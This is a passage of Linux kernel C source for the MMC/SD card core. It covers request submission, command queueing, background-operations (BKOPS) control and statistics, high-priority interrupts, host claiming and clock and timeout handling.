WARN_ON(!host->claimed);
mrq->cmd->error = 0;
mrq->cmd->mrq = mrq;
if (mrq->data) {
BUG_ON(mrq->data->blksz > host->max_blk_size);
BUG_ON(mrq->data->blocks > host->max_blk_count);
BUG_ON(mrq->data->blocks * mrq->data->blksz >
host->max_req_size);
#ifdef CONFIG_MMC_DEBUG
sz = 0;
for_each_sg(mrq->data->sg, sg, mrq->data->sg_len, i)
sz += sg->length;
BUG_ON(sz != mrq->data->blocks * mrq->data->blksz);
#endif
mrq->cmd->data = mrq->data;
mrq->data->error = 0;
mrq->data->mrq = mrq;
if (mrq->stop) {
mrq->data->stop = mrq->stop;
mrq->stop->error = 0;
mrq->stop->mrq = mrq;
}
#ifdef CONFIG_MMC_PERF_PROFILING
if (host->perf_enable)
host->perf.start = ktime_get();
#endif
}
mmc_host_clk_hold(host);
led_trigger_event(host->led, LED_FULL);
if (mmc_is_data_request(mrq)) {
mmc_deferred_scaling(host);
mmc_clk_scaling_start_busy(host, true);
}
host->ops->request(host, mrq);
}
static void mmc_start_cmdq_request(struct mmc_host *host,
struct mmc_request *mrq)
{
if (mrq->data) {
pr_debug("%s: blksz %d blocks %d flags %08x tsac %lu ms nsac %d\n",
mmc_hostname(host), mrq->data->blksz,
mrq->data->blocks, mrq->data->flags,
mrq->data->timeout_ns / NSEC_PER_MSEC,
mrq->data->timeout_clks);
BUG_ON(mrq->data->blksz > host->max_blk_size);
BUG_ON(mrq->data->blocks > host->max_blk_count);
BUG_ON(mrq->data->blocks * mrq->data->blksz >
host->max_req_size);
mrq->data->error = 0;
mrq->data->mrq = mrq;
}
if (mrq->cmd) {
mrq->cmd->error = 0;
mrq->cmd->mrq = mrq;
}
mmc_host_clk_hold(host);
if (likely(host->cmdq_ops->request))
host->cmdq_ops->request(host, mrq);
else
pr_err("%s: %s: issue request failed\n", mmc_hostname(host),
__func__);
}
/**
* mmc_blk_init_bkops_statistics - initialize bkops statistics
* @card: MMC card to start BKOPS
*
* Initialize and enable the bkops statistics
*/
void mmc_blk_init_bkops_statistics(struct mmc_card *card)
{
int i;
struct mmc_bkops_stats *stats;
if (!card)
return;
stats = &card->bkops.stats;
spin_lock(&stats->lock);
stats->manual_start = 0;
stats->hpi = 0;
stats->auto_start = 0;
stats->auto_stop = 0;
for (i = 0 ; i < MMC_BKOPS_NUM_SEVERITY_LEVELS ; i++)
stats->level[i] = 0;
stats->enabled = true;
spin_unlock(&stats->lock);
}
EXPORT_SYMBOL(mmc_blk_init_bkops_statistics);
static void mmc_update_bkops_hpi(struct mmc_bkops_stats *stats)
{
spin_lock_irq(&stats->lock);
if (stats->enabled)
stats->hpi++;
spin_unlock_irq(&stats->lock);
}
static void mmc_update_bkops_start(struct mmc_bkops_stats *stats)
{
spin_lock_irq(&stats->lock);
if (stats->enabled)
stats->manual_start++;
spin_unlock_irq(&stats->lock);
}
static void mmc_update_bkops_auto_on(struct mmc_bkops_stats *stats)
{
spin_lock_irq(&stats->lock);
if (stats->enabled)
stats->auto_start++;
spin_unlock_irq(&stats->lock);
}
static void mmc_update_bkops_auto_off(struct mmc_bkops_stats *stats)
{
spin_lock_irq(&stats->lock);
if (stats->enabled)
stats->auto_stop++;
spin_unlock_irq(&stats->lock);
}
static void mmc_update_bkops_level(struct mmc_bkops_stats *stats,
unsigned level)
{
BUG_ON(level >= MMC_BKOPS_NUM_SEVERITY_LEVELS);
spin_lock_irq(&stats->lock);
if (stats->enabled)
stats->level[level]++;
spin_unlock_irq(&stats->lock);
}
/**
* mmc_set_auto_bkops - set auto BKOPS for supported cards
* @card: MMC card to start BKOPS
* @enable: enable/disable flag
*
* Configure the card to run automatic BKOPS.
*
* Should be called when host is claimed.
*/
int mmc_set_auto_bkops(struct mmc_card *card, bool enable)
{
int ret = 0;
u8 bkops_en;
BUG_ON(!card);
enable = !!enable;
if (unlikely(!mmc_card_support_auto_bkops(card))) {
pr_err("%s: %s: card doesn't support auto bkops\n",
mmc_hostname(card->host), __func__);
return -EPERM;
}
if (enable) {
if (mmc_card_doing_auto_bkops(card))
goto out;
bkops_en = card->ext_csd.bkops_en | EXT_CSD_BKOPS_AUTO_EN;
} else {
if (!mmc_card_doing_auto_bkops(card))
goto out;
bkops_en = card->ext_csd.bkops_en & ~EXT_CSD_BKOPS_AUTO_EN;
}
ret = mmc_switch(card, EXT_CSD_CMD_SET_NORMAL, EXT_CSD_BKOPS_EN,
bkops_en, 0);
if (ret) {
pr_err("%s: %s: error in setting auto bkops to %d (%d)\n",
mmc_hostname(card->host), __func__, enable, ret);
} else {
if (enable) {
mmc_card_set_auto_bkops(card);
mmc_update_bkops_auto_on(&card->bkops.stats);
} else {
mmc_card_clr_auto_bkops(card);
mmc_update_bkops_auto_off(&card->bkops.stats);
}
card->ext_csd.bkops_en = bkops_en;
pr_debug("%s: %s: bkops state %x\n",
mmc_hostname(card->host), __func__, bkops_en);
}
out:
return ret;
}
EXPORT_SYMBOL(mmc_set_auto_bkops);
/**
* mmc_check_bkops - check BKOPS for supported cards
* @card: MMC card to check BKOPS
*
* Read the BKOPS status in order to determine whether the
* card requires bkops to be started.
*/
void mmc_check_bkops(struct mmc_card *card)
{
int err;
BUG_ON(!card);
if (mmc_card_doing_bkops(card))
return;
err = mmc_read_bkops_status(card);
if (err) {
pr_err("%s: Failed to read bkops status: %d\n",
mmc_hostname(card->host), err);
return;
}
card->bkops.needs_check = false;
mmc_update_bkops_level(&card->bkops.stats,
card->ext_csd.raw_bkops_status);
card->bkops.needs_bkops = card->ext_csd.raw_bkops_status > 0;
}
EXPORT_SYMBOL(mmc_check_bkops);
/**
* mmc_start_manual_bkops - start BKOPS for supported cards
* @card: MMC card to start BKOPS
*
* Send START_BKOPS to the card.
* The function should be called with claimed host.
*/
void mmc_start_manual_bkops(struct mmc_card *card)
{
int err;
BUG_ON(!card);
if (unlikely(!mmc_card_configured_manual_bkops(card)))
return;
if (mmc_card_doing_bkops(card))
return;
err = __mmc_switch(card, EXT_CSD_CMD_SET_NORMAL, EXT_CSD_BKOPS_START,
1, 0, false, true, false);
if (err) {
pr_err("%s: Error %d starting manual bkops\n",
mmc_hostname(card->host), err);
} else {
mmc_card_set_doing_bkops(card);
mmc_update_bkops_start(&card->bkops.stats);
card->bkops.needs_bkops = false;
}
}
EXPORT_SYMBOL(mmc_start_manual_bkops);
/*
* mmc_wait_data_done() - done callback for data request
* @mrq: done data request
*
* Wakes up mmc context, passed as a callback to host controller driver
*/
static void mmc_wait_data_done(struct mmc_request *mrq)
{
unsigned long flags;
struct mmc_context_info *context_info = &mrq->host->context_info;
spin_lock_irqsave(&context_info->lock, flags);
context_info->is_done_rcv = true;
wake_up_interruptible(&context_info->wait);
spin_unlock_irqrestore(&context_info->lock, flags);
}
static void mmc_wait_done(struct mmc_request *mrq)
{
complete(&mrq->completion);
}
/*
*__mmc_start_data_req() - starts data request
* @host: MMC host to start the request
* @mrq: data request to start
*
* Sets the done callback to be called when request is completed by the card.
* Starts data mmc request execution
*/
static int __mmc_start_data_req(struct mmc_host *host, struct mmc_request *mrq)
{
mrq->done = mmc_wait_data_done;
mrq->host = host;
if (mmc_card_removed(host->card)) {
mrq->cmd->error = -ENOMEDIUM;
mmc_wait_data_done(mrq);
return -ENOMEDIUM;
}
mmc_start_request(host, mrq);
return 0;
}
static int __mmc_start_req(struct mmc_host *host, struct mmc_request *mrq)
{
init_completion(&mrq->completion);
mrq->done = mmc_wait_done;
if (mmc_card_removed(host->card)) {
mrq->cmd->error = -ENOMEDIUM;
complete(&mrq->completion);
return -ENOMEDIUM;
}
mmc_start_request(host, mrq);
return 0;
}
/*
* mmc_wait_for_data_req_done() - wait for request completed
* @host: MMC host to prepare the command.
* @mrq: MMC request to wait for
*
* Blocks MMC context till host controller will ack end of data request
* execution or new request notification arrives from the block layer.
* Handles command retries.
*
* Returns enum mmc_blk_status after checking errors.
*/
static int mmc_wait_for_data_req_done(struct mmc_host *host,
struct mmc_request *mrq,
struct mmc_async_req *next_req)
{
struct mmc_command *cmd;
struct mmc_context_info *context_info = &host->context_info;
int err;
bool is_done_rcv = false;
unsigned long flags;
while (1) {
wait_event_interruptible(context_info->wait,
(context_info->is_done_rcv ||
context_info->is_new_req));
spin_lock_irqsave(&context_info->lock, flags);
is_done_rcv = context_info->is_done_rcv;
context_info->is_waiting_last_req = false;
spin_unlock_irqrestore(&context_info->lock, flags);
if (is_done_rcv) {
context_info->is_done_rcv = false;
context_info->is_new_req = false;
cmd = mrq->cmd;
if (!cmd->error || !cmd->retries ||
mmc_card_removed(host->card)) {
err = host->areq->err_check(host->card,
host->areq);
break; /* return err */
} else {
pr_info("%s: req failed (CMD%u): %d, retrying...\n",
mmc_hostname(host),
cmd->opcode, cmd->error);
cmd->retries--;
cmd->error = 0;
host->ops->request(host, mrq);
continue; /* wait for done/new event again */
}
} else if (context_info->is_new_req) {
context_info->is_new_req = false;
if (!next_req) {
err = MMC_BLK_NEW_REQUEST;
break; /* return err */
}
}
}
return err;
}
static void mmc_wait_for_req_done(struct mmc_host *host,
struct mmc_request *mrq)
{
struct mmc_command *cmd;
while (1) {
wait_for_completion_io(&mrq->completion);
cmd = mrq->cmd;
/*
* If host has timed out waiting for the sanitize/bkops
* to complete, card might be still in programming state
* so let's try to bring the card out of programming
* state.
*/
if ((cmd->bkops_busy || cmd->sanitize_busy) && cmd->error == -ETIMEDOUT) {
if (!mmc_interrupt_hpi(host->card)) {
pr_warn("%s: %s: Interrupted sanitize/bkops\n",
mmc_hostname(host), __func__);
cmd->error = 0;
break;
} else {
pr_err("%s: %s: Failed to interrupt sanitize\n",
mmc_hostname(host), __func__);
}
}
if (!cmd->error || !cmd->retries ||
mmc_card_removed(host->card))
break;
pr_debug("%s: req failed (CMD%u): %d, retrying...\n",
mmc_hostname(host), cmd->opcode, cmd->error);
cmd->retries--;
cmd->error = 0;
host->ops->request(host, mrq);
}
}
/**
* mmc_pre_req - Prepare for a new request
* @host: MMC host to prepare command
* @mrq: MMC request to prepare for
* @is_first_req: true if there is no previous started request
* that may run in parellel to this call, otherwise false
*
* mmc_pre_req() is called in prior to mmc_start_req() to let
* host prepare for the new request. Preparation of a request may be
* performed while another request is running on the host.
*/
static void mmc_pre_req(struct mmc_host *host, struct mmc_request *mrq,
bool is_first_req)
{
if (host->ops->pre_req) {
mmc_host_clk_hold(host);
host->ops->pre_req(host, mrq, is_first_req);
mmc_host_clk_release(host);
}
}
/**
* mmc_post_req - Post process a completed request
* @host: MMC host to post process command
* @mrq: MMC request to post process for
* @err: Error, if non zero, clean up any resources made in pre_req
*
* Let the host post process a completed request. Post processing of
* a request may be performed while another reuqest is running.
*/
static void mmc_post_req(struct mmc_host *host, struct mmc_request *mrq,
int err)
{
if (host->ops->post_req) {
mmc_host_clk_hold(host);
host->ops->post_req(host, mrq, err);
mmc_host_clk_release(host);
}
}
/**
* mmc_cmdq_discard_card_queue - discard the task[s] in the device
* @host: host instance
* @tasks: mask of tasks to be knocked off
* 0: remove all queued tasks
*/
int mmc_cmdq_discard_queue(struct mmc_host *host, u32 tasks)
{
return mmc_discard_queue(host, tasks);
}
EXPORT_SYMBOL(mmc_cmdq_discard_queue);
/**
* mmc_cmdq_post_req - post process of a completed request
* @host: host instance
* @tag: the request tag.
* @err: non-zero is error, success otherwise
*/
void mmc_cmdq_post_req(struct mmc_host *host, int tag, int err)
{
if (likely(host->cmdq_ops->post_req))
host->cmdq_ops->post_req(host, tag, err);
}
EXPORT_SYMBOL(mmc_cmdq_post_req);
/**
* mmc_cmdq_halt - halt/un-halt the command queue engine
* @host: host instance
* @halt: true - halt, un-halt otherwise
*
* Host halts the command queue engine. It should complete
* the ongoing transfer and release the bus.
* All legacy commands can be sent upon successful
* completion of this function.
* Returns 0 on success, negative otherwise
*/
int mmc_cmdq_halt(struct mmc_host *host, bool halt)
{
int err = 0;
if ((halt && mmc_host_halt(host)) ||
(!halt && !mmc_host_halt(host))) {
pr_debug("%s: %s: CQE is already %s\n", mmc_hostname(host),
__func__, halt ? "halted" : "un-halted");
return 0;
}
mmc_host_clk_hold(host);
if (host->cmdq_ops->halt) {
err = host->cmdq_ops->halt(host, halt);
if (!err && host->ops->notify_halt)
host->ops->notify_halt(host, halt);
if (!err && halt)
mmc_host_set_halt(host);
else if (!err && !halt) {
mmc_host_clr_halt(host);
wake_up(&host->cmdq_ctx.wait);
}
} else {
err = -ENOSYS;
}
mmc_host_clk_release(host);
return err;
}
EXPORT_SYMBOL(mmc_cmdq_halt);
int mmc_cmdq_start_req(struct mmc_host *host, struct mmc_cmdq_req *cmdq_req)
{
struct mmc_request *mrq = &cmdq_req->mrq;
mrq->host = host;
if (mmc_card_removed(host->card)) {
mrq->cmd->error = -ENOMEDIUM;
return -ENOMEDIUM;
}
mmc_start_cmdq_request(host, mrq);
return 0;
}
EXPORT_SYMBOL(mmc_cmdq_start_req);
static void mmc_cmdq_dcmd_req_done(struct mmc_request *mrq)
{
mmc_host_clk_release(mrq->host);
complete(&mrq->completion);
}
int mmc_cmdq_wait_for_dcmd(struct mmc_host *host,
struct mmc_cmdq_req *cmdq_req)
{
struct mmc_request *mrq = &cmdq_req->mrq;
struct mmc_command *cmd = mrq->cmd;
int err = 0;
init_completion(&mrq->completion);
mrq->done = mmc_cmdq_dcmd_req_done;
err = mmc_cmdq_start_req(host, cmdq_req);
if (err)
return err;
wait_for_completion_io(&mrq->completion);
if (cmd->error) {
pr_err("%s: DCMD %d failed with err %d\n",
mmc_hostname(host), cmd->opcode,
cmd->error);
err = cmd->error;
mmc_host_clk_hold(host);
host->cmdq_ops->dumpstate(host);
mmc_host_clk_release(host);
}
return err;
}
EXPORT_SYMBOL(mmc_cmdq_wait_for_dcmd);
int mmc_cmdq_prepare_flush(struct mmc_command *cmd)
{
return __mmc_switch_cmdq_mode(cmd, EXT_CSD_CMD_SET_NORMAL,
EXT_CSD_FLUSH_CACHE, 1,
0, true, true);
}
EXPORT_SYMBOL(mmc_cmdq_prepare_flush);
/**
* mmc_start_req - start a non-blocking request
* @host: MMC host to start command
* @areq: async request to start
* @error: out parameter returns 0 for success, otherwise non zero
*
* Start a new MMC custom command request for a host.
* If there is on ongoing async request wait for completion
* of that request and start the new one and return.
* Does not wait for the new request to complete.
*
* Returns the completed request, NULL in case of none completed.
* Wait for the an ongoing request (previoulsy started) to complete and
* return the completed request. If there is no ongoing request, NULL
* is returned without waiting. NULL is not an error condition.
*/
struct mmc_async_req *mmc_start_req(struct mmc_host *host,
struct mmc_async_req *areq, int *error)
{
int err = 0;
int start_err = 0;
struct mmc_async_req *data = host->areq;
/* Prepare a new request */
if (areq)
mmc_pre_req(host, areq->mrq, !host->areq);
if (host->areq) {
err = mmc_wait_for_data_req_done(host, host->areq->mrq, areq);
if (err == MMC_BLK_NEW_REQUEST) {
if (error)
*error = err;
/*
* The previous request was not completed,
* nothing to return
*/
return NULL;
}
/*
* Check BKOPS urgency for each R1 response
*/
if (host->card && mmc_card_mmc(host->card) &&
((mmc_resp_type(host->areq->mrq->cmd) == MMC_RSP_R1) ||
(mmc_resp_type(host->areq->mrq->cmd) == MMC_RSP_R1B)) &&
(host->areq->mrq->cmd->resp[0] & R1_EXCEPTION_EVENT))
mmc_check_bkops(host->card);
}
if (!err && areq) {
trace_mmc_blk_rw_start(areq->mrq->cmd->opcode,
areq->mrq->cmd->arg,
areq->mrq->data);
start_err = __mmc_start_data_req(host, areq->mrq);
}
if (host->areq)
mmc_post_req(host, host->areq->mrq, 0);
if (err && areq)
mmc_post_req(host, areq->mrq, -EINVAL);
if (err)
host->areq = NULL;
else
host->areq = areq;
if (error)
*error = err;
return data;
}
EXPORT_SYMBOL(mmc_start_req);
/**
* mmc_wait_for_req - start a request and wait for completion
* @host: MMC host to start command
* @mrq: MMC request to start
*
* Start a new MMC custom command request for a host, and wait
* for the command to complete. Does not attempt to parse the
* response.
*/
void mmc_wait_for_req(struct mmc_host *host, struct mmc_request *mrq)
{
__mmc_start_req(host, mrq);
mmc_wait_for_req_done(host, mrq);
}
EXPORT_SYMBOL(mmc_wait_for_req);
/**
* mmc_interrupt_hpi - Issue for High priority Interrupt
* @card: the MMC card associated with the HPI transfer
*
* Issued High Priority Interrupt, and check for card status
* until out-of prg-state.
*/
int mmc_interrupt_hpi(struct mmc_card *card)
{
int err;
u32 status;
unsigned long prg_wait;
BUG_ON(!card);
if (!card->ext_csd.hpi_en) {
pr_info("%s: HPI enable bit unset\n", mmc_hostname(card->host));
return 1;
}
mmc_claim_host(card->host);
err = mmc_send_status(card, &status);
if (err) {
pr_err("%s: Get card status fail\n", mmc_hostname(card->host));
goto out;
}
switch (R1_CURRENT_STATE(status)) {
case R1_STATE_IDLE:
case R1_STATE_READY:
case R1_STATE_STBY:
case R1_STATE_TRAN:
/*
* In idle and transfer states, HPI is not needed and the caller
* can issue the next intended command immediately
*/
goto out;
case R1_STATE_PRG:
break;
default:
/* In all other states, it's illegal to issue HPI */
pr_debug("%s: HPI cannot be sent. Card state=%d\n",
mmc_hostname(card->host), R1_CURRENT_STATE(status));
err = -EINVAL;
goto out;
}
err = mmc_send_hpi_cmd(card, &status);
prg_wait = jiffies + msecs_to_jiffies(card->ext_csd.out_of_int_time);
do {
err = mmc_send_status(card, &status);
if (!err && R1_CURRENT_STATE(status) == R1_STATE_TRAN)
break;
if (time_after(jiffies, prg_wait)) {
err = mmc_send_status(card, &status);
if (!err && R1_CURRENT_STATE(status) != R1_STATE_TRAN)
err = -ETIMEDOUT;
else
break;
}
} while (!err);
out:
mmc_release_host(card->host);
return err;
}
EXPORT_SYMBOL(mmc_interrupt_hpi);
/**
* mmc_wait_for_cmd - start a command and wait for completion
* @host: MMC host to start command
* @cmd: MMC command to start
* @retries: maximum number of retries
*
* Start a new MMC command for a host, and wait for the command
* to complete. Return any error that occurred while the command
* was executing. Do not attempt to parse the response.
*/
int mmc_wait_for_cmd(struct mmc_host *host, struct mmc_command *cmd, int retries)
{
struct mmc_request mrq = {NULL};
WARN_ON(!host->claimed);
memset(cmd->resp, 0, sizeof(cmd->resp));
cmd->retries = retries;
mrq.cmd = cmd;
cmd->data = NULL;
mmc_wait_for_req(host, &mrq);
return cmd->error;
}
EXPORT_SYMBOL(mmc_wait_for_cmd);
/**
* mmc_stop_bkops - stop ongoing BKOPS
* @card: MMC card to check BKOPS
*
* Send HPI command to stop ongoing background operations to
* allow rapid servicing of foreground operations, e.g. read/
* writes. Wait until the card comes out of the programming state
* to avoid errors in servicing read/write requests.
*/
int mmc_stop_bkops(struct mmc_card *card)
{
int err = 0;
BUG_ON(!card);
if (unlikely(!mmc_card_configured_manual_bkops(card)))
goto out;
if (!mmc_card_doing_bkops(card))
goto out;
err = mmc_interrupt_hpi(card);
/*
* If err is EINVAL, we can't issue an HPI.
* It should complete the BKOPS.
*/
if (!err || (err == -EINVAL)) {
mmc_card_clr_doing_bkops(card);
mmc_update_bkops_hpi(&card->bkops.stats);
err = 0;
}
out:
return err;
}
EXPORT_SYMBOL(mmc_stop_bkops);
int mmc_read_bkops_status(struct mmc_card *card)
{
int err;
u8 *ext_csd;
/*
* In future work, we should consider storing the entire ext_csd.
*/
ext_csd = kmalloc(512, GFP_KERNEL);
if (!ext_csd) {
pr_err("%s: could not allocate buffer to receive the ext_csd.\n",
mmc_hostname(card->host));
return -ENOMEM;
}
mmc_claim_host(card->host);
err = mmc_send_ext_csd(card, ext_csd);
mmc_release_host(card->host);
if (err)
goto out;
card->ext_csd.raw_bkops_status = ext_csd[EXT_CSD_BKOPS_STATUS] &
MMC_BKOPS_URGENCY_MASK;
card->ext_csd.raw_exception_status =
ext_csd[EXT_CSD_EXP_EVENTS_STATUS] & (EXT_CSD_URGENT_BKOPS |
EXT_CSD_DYNCAP_NEEDED |
EXT_CSD_SYSPOOL_EXHAUSTED
| EXT_CSD_PACKED_FAILURE);
out:
kfree(ext_csd);
return err;
}
EXPORT_SYMBOL(mmc_read_bkops_status);
/**
* mmc_set_data_timeout - set the timeout for a data command
* @data: data phase for command
* @card: the MMC card associated with the data transfer
*
* Computes the data timeout parameters according to the
* correct algorithm given the card type.
*/
void mmc_set_data_timeout(struct mmc_data *data, const struct mmc_card *card)
{
unsigned int mult;
if (!card) {
WARN_ON(1);
return;
}
/*
* SDIO cards only define an upper 1 s limit on access.
*/
if (mmc_card_sdio(card)) {
data->timeout_ns = 1000000000;
data->timeout_clks = 0;
return;
}
/*
* SD cards use a 100 multiplier rather than 10
*/
mult = mmc_card_sd(card) ? 100 : 10;
/*
* Scale up the multiplier (and therefore the timeout) by
* the r2w factor for writes.
*/
if (data->flags & MMC_DATA_WRITE)
mult <<= card->csd.r2w_factor;
data->timeout_ns = card->csd.tacc_ns * mult;
data->timeout_clks = card->csd.tacc_clks * mult;
/*
* SD cards also have an upper limit on the timeout.
*/
if (mmc_card_sd(card)) {
unsigned int timeout_us, limit_us;
timeout_us = data->timeout_ns / 1000;
if (mmc_host_clk_rate(card->host))
timeout_us += data->timeout_clks * 1000 /
(mmc_host_clk_rate(card->host) / 1000);
if (data->flags & MMC_DATA_WRITE)
/*
* The MMC spec "It is strongly recommended
* for hosts to implement more than 500ms
* timeout value even if the card indicates
* the 250ms maximum busy length." Even the
* previous value of 300ms is known to be
* insufficient for some cards.
*/
limit_us = 3000000;
else
limit_us = 100000;
/*
* SDHC cards always use these fixed values.
*/
if (timeout_us > limit_us || mmc_card_blockaddr(card)) {
data->timeout_ns = limit_us * 1000;
data->timeout_clks = 0;
}
/* assign limit value if invalid */
if (timeout_us == 0)
data->timeout_ns = limit_us * 1000;
}
/*
* Some cards require longer data read timeout than indicated in CSD.
* Address this by setting the read timeout to a "reasonably high"
* value. For the cards tested, 600ms has proven enough. If necessary,
* this value can be increased if other problematic cards require this.
*/
if (mmc_card_long_read_time(card) && data->flags & MMC_DATA_READ) {
data->timeout_ns = 600000000;
data->timeout_clks = 0;
}
/*
* Some cards need very high timeouts if driven in SPI mode.
* The worst observed timeout was 900ms after writing a
* continuous stream of data until the internal logic
* overflowed.
*/
if (mmc_host_is_spi(card->host)) {
if (data->flags & MMC_DATA_WRITE) {
if (data->timeout_ns < 1000000000)
data->timeout_ns = 1000000000; /* 1s */
} else {
if (data->timeout_ns < 100000000)
data->timeout_ns = 100000000; /* 100ms */
}
}
/* Increase the timeout values for some bad INAND MCP devices */
if (card->quirks & MMC_QUIRK_INAND_DATA_TIMEOUT) {
data->timeout_ns = 4000000000u; /* 4s */
data->timeout_clks = 0;
}
}
EXPORT_SYMBOL(mmc_set_data_timeout);
/**
* mmc_align_data_size - pads a transfer size to a more optimal value
* @card: the MMC card associated with the data transfer
* @sz: original transfer size
*
* Pads the original data size with a number of extra bytes in
* order to avoid controller bugs and/or performance hits
* (e.g. some controllers revert to PIO for certain sizes).
*
* Returns the improved size, which might be unmodified.
*
* Note that this function is only relevant when issuing a
* single scatter gather entry.
*/
unsigned int mmc_align_data_size(struct mmc_card *card, unsigned int sz)
{
/*
* FIXME: We don't have a system for the controller to tell
* the core about its problems yet, so for now we just 32-bit
* align the size.
*/
sz = ((sz + 3) / 4) * 4;
return sz;
}
EXPORT_SYMBOL(mmc_align_data_size);
/**
* __mmc_claim_host - exclusively claim a host
* @host: mmc host to claim
* @abort: whether or not the operation should be aborted
*
* Claim a host for a set of operations. If @abort is non null and
* dereference a non-zero value then this will return prematurely with
* that non-zero value without acquiring the lock. Returns zero
* with the lock held otherwise.
*/
int __mmc_claim_host(struct mmc_host *host, atomic_t *abort)
{
DECLARE_WAITQUEUE(wait, current);
unsigned long flags;
int stop;
might_sleep();
add_wait_queue(&host->wq, &wait);
spin_lock_irqsave(&host->lock, flags);
while (1) {
set_current_state(TASK_UNINTERRUPTIBLE);
stop = abort ? atomic_read(abort) : 0;
if (stop || !host->claimed || host->claimer == current)
break;
spin_unlock_irqrestore(&host->lock, flags);
schedule();
spin_lock_irqsave(&host->lock, flags);
}
set_current_state(TASK_RUNNING);
if (!stop) {
host->claimed = 1;
host->claimer = current;
host->claim_cnt += 1;
} else
wake_up(&host->wq);
spin_unlock_irqrestore(&host->lock, flags);
remove_wait_queue(&host->wq, &wait);
if (host->ops->enable && !stop && host->claim_cnt == 1)
host->ops->enable(host);
return stop;
}
EXPORT_SYMBOL(__mmc_claim_host);
/**
* mmc_release_host - release a host
* @host: mmc host to release
*
* Release a MMC host, allowing others to claim the host
* for their operations.
*/
void mmc_release_host(struct mmc_host *host)
{
unsigned long flags;
WARN_ON(!host->claimed);
if (host->ops->disable && host->claim_cnt == 1)
host->ops->disable(host);
spin_lock_irqsave(&host->lock, flags);
if (--host->claim_cnt) {
/* Release for nested claim */
spin_unlock_irqrestore(&host->lock, flags);
} else {
host->claimed = 0;
host->claimer = NULL;
spin_unlock_irqrestore(&host->lock, flags);
wake_up(&host->wq);
}
}
EXPORT_SYMBOL(mmc_release_host);
/*
* This is a helper function, which fetches a runtime pm reference for the
* card device and also claims the host.
*/
void mmc_get_card(struct mmc_card *card)
{
pm_runtime_get_sync(&card->dev);
mmc_claim_host(card->host);
}
EXPORT_SYMBOL(mmc_get_card);
/*
* This is a helper function, which releases the host and drops the runtime
* pm reference for the card device.
*/
void mmc_put_card(struct mmc_card *card)
{
mmc_release_host(card->host);
pm_runtime_mark_last_busy(&card->dev);
pm_runtime_put_autosuspend(&card->dev);
}
EXPORT_SYMBOL(mmc_put_card);
/*
* Internal function that does the actual ios call to the host driver,
* optionally printing some debug output.
*/
void mmc_set_ios(struct mmc_host *host)
{
struct mmc_ios *ios = &host->ios;
pr_debug("%s: clock %uHz busmode %u powermode %u cs %u Vdd %u "
"width %u timing %u\n",
mmc_hostname(host), ios->clock, ios->bus_mode,
ios->power_mode, ios->chip_select, ios->vdd,
ios->bus_width, ios->timing);
if (ios->clock > 0)
mmc_set_ungated(host);
host->ops->set_ios(host, ios);
if (ios->old_rate != ios->clock) {
if (likely(ios->clk_ts)) {
char trace_info[80];
snprintf(trace_info, 80,
"%s: freq_KHz %d --> %d | t = %d",
mmc_hostname(host), ios->old_rate / 1000,
ios->clock / 1000, jiffies_to_msecs(
(long)jiffies - (long)ios->clk_ts));
trace_mmc_clk(trace_info);
}
ios->old_rate = ios->clock;
ios->clk_ts = jiffies;
}
}
EXPORT_SYMBOL(mmc_set_ios);
/*
* Control chip select pin on a host.
*/
void mmc_set_chip_select(struct mmc_host *host, int mode)
{
mmc_host_clk_hold(host);
host->ios.chip_select = mode;
mmc_set_ios(host);
mmc_host_clk_release(host);
}
/*
* Sets the host clock to the highest possible frequency that
* is below "hz".
*/
static void __mmc_set_clock(struct mmc_host *host, unsigned int hz)
{
WARN_ON(hz && hz < host->f_min);
if (hz > host->f_max)
hz = host->f_max;
host->ios.clock = hz;
mmc_set_ios(host);
}
void mmc_set_clock(struct mmc_host *host, unsigned int hz)
{
mmc_host_clk_hold(host);
__mmc_set_clock(host, hz);
mmc_host_clk_release(host);
}
#ifdef CONFIG_MMC_CLKGATE
/*
* This gates the clock by setting it to 0 Hz.
*/
void mmc_gate_clock(struct mmc_host *host)
{
unsigned long flags;
WARN_ON(!host->ios.clock);
spin_lock_irqsave(&host->clk_lock, flags);
host->clk_old = host->ios.clock;
host->ios.clock = 0;
host->clk_gated = true;
spin_unlock_irqrestore(&host->clk_lock, flags);
mmc_set_ios(host);
}
/*
* This restores the clock from gating by using the cached
* clock value.
*/
void mmc_ungate_clock(struct mmc_host *host)
{
/*
* We should previously have gated the clock, so the clock shall
* be 0 here! The clock may however be 0 during initialization,
* when some request operations are performed before setting
* the frequency. When ungate is requested in that situation
* we just ignore the call.
*/
if (host->clk_old) {
WARN_ON(host->ios.clock);
/* This call will also set host->clk_gated to false */
__mmc_set_clock(host, host->clk_old);
}
}
void mmc_set_ungated(struct mmc_host *host)
{
unsigned long flags;
/*
* We've been given a new frequency while the clock is gated,
* so make sure we regard this as ungating it.
*/
spin_lock_irqsave(&host->clk_lock, flags);
host->clk_gated = false;
spin_unlock_irqrestore(&host->clk_lock, flags);
}
#else
void mmc_set_ungated(struct mmc_host *host)
{
}
#endif
int mmc_execute_tuning(struct mmc_card *card)
{
struct mmc_host *host = card->host;
u32 opcode;
int err;
if (!host->ops->execute_tuning)
return 0;
if (mmc_card_mmc(card))
opcode = MMC_SEND_TUNING_BLOCK_HS200;
else
opcode = MMC_SEND_TUNING_BLOCK;
mmc_host_clk_hold(host);
err = host->ops->execute_tuning(host, opcode);
mmc_host_clk_release(host);
if (err)
pr_err("%s: tuning execution failed\n", mmc_hostname(host));
return err;
}
/*
* Change the bus mode (open drain/push-pull) of a host.
*/
void mmc_set_bus_mode(struct mmc_host *host, unsigned int mode)
{
mmc_host_clk_hold(host);
host->ios.bus_mode = mode;
mmc_set_ios(host);
mmc_host_clk_release(host);
}
/*
* Change data bus width of a host.
*/
void mmc_set_bus_width(struct mmc_host *host, unsigned int width)
{
mmc_host_clk_hold(host);
host->ios.bus_width = width;
mmc_set_ios(host);
mmc_host_clk_release(host);
}
/**
* mmc_vdd_to_ocrbitnum - Convert a voltage to the OCR bit number
* @vdd: voltage (mV)
* @low_bits: prefer low bits in boundary cases
*
* This function returns the OCR bit number according to the provided @vdd
* value. If conversion is not possible a negative errno value returned.
*
* Depending on the @low_bits flag the function prefers low or high OCR bits
* on boundary voltages. For example,
* with @low_bits = true, 3300 mV translates to ilog2(MMC_VDD_32_33);
* with @low_bits = false, 3300 mV translates to ilog2(MMC_VDD_33_34);
*
* Any value in the [1951:1999] range translates to the ilog2(MMC_VDD_20_21).
*/
static int mmc_vdd_to_ocrbitnum(int vdd, bool low_bits)
{
const int max_bit = ilog2(MMC_VDD_35_36);
int bit;
if (vdd < 1650 || vdd > 3600)
return -EINVAL;
if (vdd >= 1650 && vdd <= 1950)
